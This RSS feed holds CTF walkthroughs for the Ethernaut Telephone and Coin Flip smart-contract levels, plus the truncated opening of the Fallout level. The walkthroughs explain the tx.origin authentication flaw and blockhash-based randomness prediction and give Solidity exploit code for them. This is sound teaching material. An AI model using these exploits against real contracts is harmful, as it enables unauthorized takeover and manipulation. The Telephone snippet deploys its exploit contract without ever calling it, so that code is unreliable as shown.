<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Emanuele Ricci</title>
    <description>The latest articles on Forem by Emanuele Ricci (@stermi).</description>
    <link>https://forem.com/stermi</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F698372%2Ff37ffdb6-e30b-44a7-8fa0-824fb7f00a02.jpeg</url>
      <title>Forem: Emanuele Ricci</title>
      <link>https://forem.com/stermi</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/stermi"/>
    <language>en</language>
    <item>
      <title>Ethernaut Challenge #4 Solution — Telephone</title>
      <dc:creator>Emanuele Ricci</dc:creator>
      <pubDate>Sun, 07 Aug 2022 05:57:46 +0000</pubDate>
      <link>https://forem.com/stermi/ethernaut-challenge-4-solution-telephone-33bp</link>
      <guid>https://forem.com/stermi/ethernaut-challenge-4-solution-telephone-33bp</guid>
      <description>&lt;p&gt;This is Part 4 of the &lt;a href="https://stermi.xyz/blog/lets-play-openzeppelin-ethernaut"&gt;"Let's play OpenZeppelin Ethernaut CTF"&lt;/a&gt; series, where I will explain how to solve each challenge.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://ethernaut.openzeppelin.com/"&gt;The Ethernaut&lt;/a&gt; is a Web3/Solidity based wargame created by &lt;a href="https://openzeppelin.com/"&gt;OpenZeppelin&lt;/a&gt;.&lt;br&gt;
Each level is a smart contract that needs to be 'hacked'. The game acts both as a tool for those interested in learning ethereum, and as a way to catalogue historical hacks in levels. Levels can be infinite and the game does not require to be played in any particular order.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Challenge #4: Telephone
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Claim ownership of the contract below to complete this level.&lt;/p&gt;

&lt;p&gt;Level author: &lt;a href="https://github.com/syncikin"&gt;Kyle Riley&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For this challenge, our end goal is to be able to claim the ownership of the contract.&lt;/p&gt;

&lt;h2&gt;
  
  
  Study the contracts
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;Telephone&lt;/code&gt; contract is pretty small, so it will be fast to read and understand how to solve the challenge.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;owner&lt;/code&gt; state variable is initialized in the &lt;code&gt;constructor&lt;/code&gt;. The only function that will update the &lt;code&gt;owner&lt;/code&gt; is &lt;code&gt;changeOwner&lt;/code&gt; :&lt;/p&gt;

&lt;p&gt;&lt;code&gt;function changeOwner(address _owner) public&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;It is a public function that take only one parameter &lt;code&gt;address _owner&lt;/code&gt;.&lt;br&gt;
If the &lt;code&gt;tx.origin&lt;/code&gt; value is different from &lt;code&gt;msg.sender&lt;/code&gt; it will update the &lt;code&gt;owner&lt;/code&gt; with the function input parameter &lt;code&gt;_owner&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To solve this challenge, we need to understand what are &lt;code&gt;msg.sender&lt;/code&gt; and &lt;code&gt;tx.origin&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If we look at the &lt;a href="https://docs.soliditylang.org/en/v0.8.15/units-and-global-variables.html?highlight=tx.origin#block-and-transaction-properties"&gt;Block and Transaction Properties&lt;/a&gt; documentation page from the Solidity official doc, we find this definition:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;tx.origin&lt;/code&gt; (&lt;code&gt;address&lt;/code&gt;): sender of the transaction (full call chain)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;msg.sender&lt;/code&gt; (&lt;code&gt;address&lt;/code&gt;): sender of the message (current call)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both &lt;code&gt;tx.origin&lt;/code&gt; and &lt;code&gt;msg.sender&lt;/code&gt; are "&lt;em&gt;special variables&lt;/em&gt;" which always exist in the global namespace and are mainly used to provide information about the blockchain or are general-use utility functions.&lt;/p&gt;

&lt;p&gt;But we need to pay attention to this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The values of all members of &lt;code&gt;msg&lt;/code&gt;, including &lt;code&gt;msg.sender&lt;/code&gt; and &lt;code&gt;msg.value&lt;/code&gt; can change for every &lt;strong&gt;external&lt;/strong&gt; function call. This includes calls to library functions.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tx.origin&lt;/code&gt; will return the address that have sent (in origin) the transaction, while &lt;code&gt;msg.sender&lt;/code&gt; will return the value that have originated the &lt;code&gt;external&lt;/code&gt; call.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What does this mean?&lt;/p&gt;

&lt;p&gt;Let's make an example and see the different values for both of them&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scenario A&lt;/strong&gt;: Alice (EOA) call directly &lt;code&gt;Telephone.changeOwner(Bob)&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;tx.origin&lt;/code&gt;: Alice address&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;msg.sender&lt;/code&gt;: Alice address&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Scenario B:&lt;/strong&gt; Alice (EOA) call a smart contract &lt;code&gt;Forwarder.forwardChangeOwnerRequest(Bob)&lt;/code&gt; that will call &lt;code&gt;Telephone.changeOwner(Bob)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Inside &lt;code&gt;Forwarder.forwardChangeOwnerRequest&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;tx.origin&lt;/code&gt;: Alice address&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;msg.sender&lt;/code&gt;: Alice address&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Inside &lt;code&gt;Telephone.changeOwner(Bob)&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;tx.origin&lt;/code&gt;: Alice address&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;msg.sender&lt;/code&gt;: Forwarder (contract) address&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This happens because while &lt;code&gt;tx.origin&lt;/code&gt; will &lt;strong&gt;always&lt;/strong&gt; return the address that have created the transaction, &lt;code&gt;msg.sender&lt;/code&gt; will return the address who made the last external call.&lt;/p&gt;
&lt;h2&gt;
  
  
  Solution code
&lt;/h2&gt;

&lt;p&gt;We just need to create a contract that will be in the middle of the call to the &lt;code&gt;Telephone&lt;/code&gt; contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Exploiter&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;exploit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Telephone&lt;/span&gt; &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;changeOwner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And in our solution code, just deploy it and call it&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;exploitLevel&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;internal&lt;/span&gt; &lt;span class="k"&gt;override&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startPrank&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;Exploiter&lt;/span&gt; &lt;span class="n"&gt;exploiter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Exploiter&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stopPrank&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you have paid attention to our previous blog post, you already saw the &lt;code&gt;startPrank&lt;/code&gt; cheat code. &lt;code&gt;startPrank&lt;/code&gt; has another overloaded version&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called
&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;startPrank&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called, and the tx.origin to be the second input
&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;startPrank&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this case, we are using the second one because we need to also override the initial &lt;code&gt;tx.orgin&lt;/code&gt; that otherwise would be &lt;code&gt;address(this)&lt;/code&gt;: the address of the &lt;strong&gt;test contract&lt;/strong&gt; itself!&lt;/p&gt;

&lt;p&gt;You can read the full solution of the challenge opening &lt;a href="https://github.com/StErMi/foundry-ethernaut/blob/main/test/Telephone.t.sol"&gt;Telephone.t.sol&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/v0.8.15/units-and-global-variables.html?highlight=tx.origin#block-and-transaction-properties"&gt;Block and Transaction Properties&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://swcregistry.io/docs/SWC-115"&gt;SWC-115: Authorization through tx.origin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.soliditylang.org/en/v0.8.15/security-considerations.html?highlight=tx.origin#tx-origin"&gt;Security Consideration about &lt;code&gt;tx.origin&lt;/code&gt; &lt;/a&gt; from Solidity docs&lt;/li&gt;
&lt;li&gt;&lt;a href="https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/tx-origin/"&gt;Consensys Ethereum Smart Contract Best Practices: tx.origin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ethereum.stackexchange.com/questions/196/how-do-i-make-my-dapp-serenity-proof/200#200"&gt;Vitalik Buterin: Do NOT assume that tx.origin will continue to be usable or meaningful&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclaimer
&lt;/h2&gt;

&lt;p&gt;All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;do not give any warranties&lt;/strong&gt; and &lt;strong&gt;will not be liable for any loss&lt;/strong&gt; incurred through any use of this codebase.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DO NOT USE IN PRODUCTION&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>ethereum</category>
      <category>blockchain</category>
      <category>smartcontract</category>
      <category>web3</category>
    </item>
    <item>
      <title>Ethernaut Challenge #3 Solution — Coin Flip</title>
      <dc:creator>Emanuele Ricci</dc:creator>
      <pubDate>Fri, 05 Aug 2022 05:24:39 +0000</pubDate>
      <link>https://forem.com/stermi/ethernaut-challenge-3-solution-coin-flip-5eh6</link>
      <guid>https://forem.com/stermi/ethernaut-challenge-3-solution-coin-flip-5eh6</guid>
      <description>&lt;h2&gt;
  
  
  Challenge #3: Coin Flip
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.&lt;/p&gt;

&lt;p&gt;Things that might help&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;See the Help page above, section "Beyond the console"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Level author(s): &lt;a href="https://github.com/syncikin"&gt;Kyle Riley&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For this challenge, our end goal is to be able to consecutively guess the coin flip result by calling the &lt;code&gt;flip()&lt;/code&gt; function passing the correct guess.&lt;/p&gt;

&lt;h2&gt;
  
  
  Study the contracts
&lt;/h2&gt;

&lt;p&gt;First thing that we notice, the Solidity compiler version used is &lt;code&gt;&amp;lt; 0.8.x&lt;/code&gt;. This mean that the contract would be prone to math underflow and overflow bugs.&lt;/p&gt;

&lt;p&gt;This contract is importing and using OpenZeppelin &lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/utils#SafeMath"&gt;SafeMath&lt;/a&gt; library, so they should be safe about overflow/underflow problems.&lt;/p&gt;

&lt;p&gt;There are three state variables:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;consecutiveWins&lt;/code&gt; initialized by zero from the &lt;code&gt;constructor&lt;/code&gt;. This variable will count how many consecutive correct guess we have made&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;FACTOR&lt;/code&gt; that is declared as &lt;code&gt;57896044618658097711785492504343953926634992332820282019728792003956564819968&lt;/code&gt;. Gas optimization tip: it can be declared as &lt;code&gt;constant&lt;/code&gt; to save gas (see further reading)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;lastHash&lt;/code&gt; that will be updated each time by the &lt;code&gt;flip()&lt;/code&gt; function&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The only function inside the contract is &lt;code&gt;flip()&lt;/code&gt;, let's see what it does&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;flip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;blockhash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lastHash&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;revert&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;lastHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;coinFlip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FACTOR&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;side&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;coinFlip&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;side&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;consecutiveWins&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;consecutiveWins&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This challenge allows you to learn two important aspects about the blockchain:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Everything on the blockchain is public, even private variables like &lt;code&gt;lastHash&lt;/code&gt; and &lt;code&gt;FACTOR&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;There is no real "native" randomness in the blockchain, but only "pseudo randomness"&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I have added some useful links in the "Further reading" section of the article if you want to learn more about these two topics.&lt;/p&gt;

&lt;p&gt;Looking at the code of the function, we know that:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;We know how to calculate the correct &lt;code&gt;_guess&lt;/code&gt; function parameter. &lt;code&gt;_guess = uint256(blockhash(block.number.sub(1))).div(FACTOR) == 1 ? true : false&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;We know that we cannot call multiple time &lt;code&gt;flip()&lt;/code&gt; in the same block; otherwise the function will revert. This mean that to pass the challenge, we need to at least guess correctly for 11 blocks. If you look at the Factory contract, you will see that the challenge is solved when &lt;code&gt;instance.consecutiveWins() &amp;gt;= 10&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Knowing that, let's see the solution.&lt;/p&gt;

&lt;h2&gt;
  
  
  Solution code
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;exploitLevel&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;internal&lt;/span&gt; &lt;span class="k"&gt;override&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startPrank&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;factor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;57896044618658097711785492504343953926634992332820282019728792003956564819968&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;uint8&lt;/span&gt; &lt;span class="n"&gt;consecutiveWinsToReach&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;consecutiveWins&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;consecutiveWinsToReach&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;blockhash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
        &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;coinFlip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;factor&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;flip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;coinFlip&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// simulate a transaction
&lt;/span&gt;        &lt;span class="n"&gt;utilities&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mineBlocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stopPrank&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you see, the solution is pretty straightforward. Loop until the &lt;code&gt;consecutiveWins()&lt;/code&gt; getter tell us we have reached &lt;code&gt;10&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Inside the loop we calculate the value to pass to &lt;code&gt;flip&lt;/code&gt; replicating the same logic of the &lt;code&gt;CoinFlip.flip&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;After calling it, we call &lt;code&gt;utilities.mineBlock(1);&lt;/code&gt;. This is a utility function that I have created that call Foundry cheat code &lt;code&gt;vm.roll(targetBlock);&lt;/code&gt; that allow you to set the current block number. Basically, we are just increasing the block number in each loop section to simulate that a new block has been minted.&lt;/p&gt;

&lt;p&gt;You can read the full solution of the challenge opening &lt;a href="https://github.com/StErMi/foundry-ethernaut/blob/main/test/CoinFlip.t.sol"&gt;CoinFlip.t.sol&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://swcregistry.io/docs/SWC-120"&gt;SWC-120: Weak Sources of Randomness from Chain Attributes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://swcregistry.io/docs/SWC-136"&gt;SWC-136: Unencrypted Private Data On-Chain&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.chain.link/docs/chainlink-vrf/"&gt;Chainlink VRF (Verifiable Random Function)&lt;/a&gt;: a provably fair and verifiable random number generator (RNG)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://book.getfoundry.sh/cheatcodes/"&gt;Foundry Book Cheat codes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclaimer
&lt;/h2&gt;

&lt;p&gt;All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;do not give any warranties&lt;/strong&gt; and &lt;strong&gt;will not be liable for any loss&lt;/strong&gt; incurred through any use of this codebase.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DO NOT USE IN PRODUCTION&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>ethereum</category>
      <category>blockchain</category>
      <category>web3</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut Challenge #2 Solution — Fallout</title>
      <dc:creator>Emanuele Ricci</dc:creator>
      <pubDate>Thu, 04 Aug 2022 11:59:30 +0000</pubDate>
      <link>https://forem.com/stermi/ethernaut-challenge-2-solution-fallout-2g9p</link>
      <guid>https://forem.com/stermi/ethernaut-challenge-2-solution-fallout-2g9p</guid>
      <description>&lt;p&gt;This is Part 2 of the &lt;a href="https://stermi.xyz/blog/lets-play-openzeppelin-ethernaut"&gt;"Let's play OpenZeppelin Ethernaut CTF"&lt;/a&gt; series, where I will explain how to solve each challenge.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://ethernaut.openzeppelin.com/"&gt;The Ethernaut&lt;/a&gt; is a Web3/Solidity based wargame created by &lt;a href="https://openzeppelin.com/"&gt;OpenZeppelin&lt;/a&gt;.&lt;br&gt;
Each level is a smart contract that needs to be 'hacked'. The game acts both as a tool for those interested in learning ethereum, and as a way to catalogue historical hacks in levels. Levels can be infinite and the game does not require to be played in any particular order.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Challenge #2: Fallout
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Claim ownership of the contract below to complete this level.&lt;/p&gt;

&lt;p&gt;Things that might help&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Solidity Remix IDE&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Level author(s): &lt;a href="https://github.com/ajsantander"&gt;Alejandro Santander&lt;/a&gt;&lt;/p&gt;
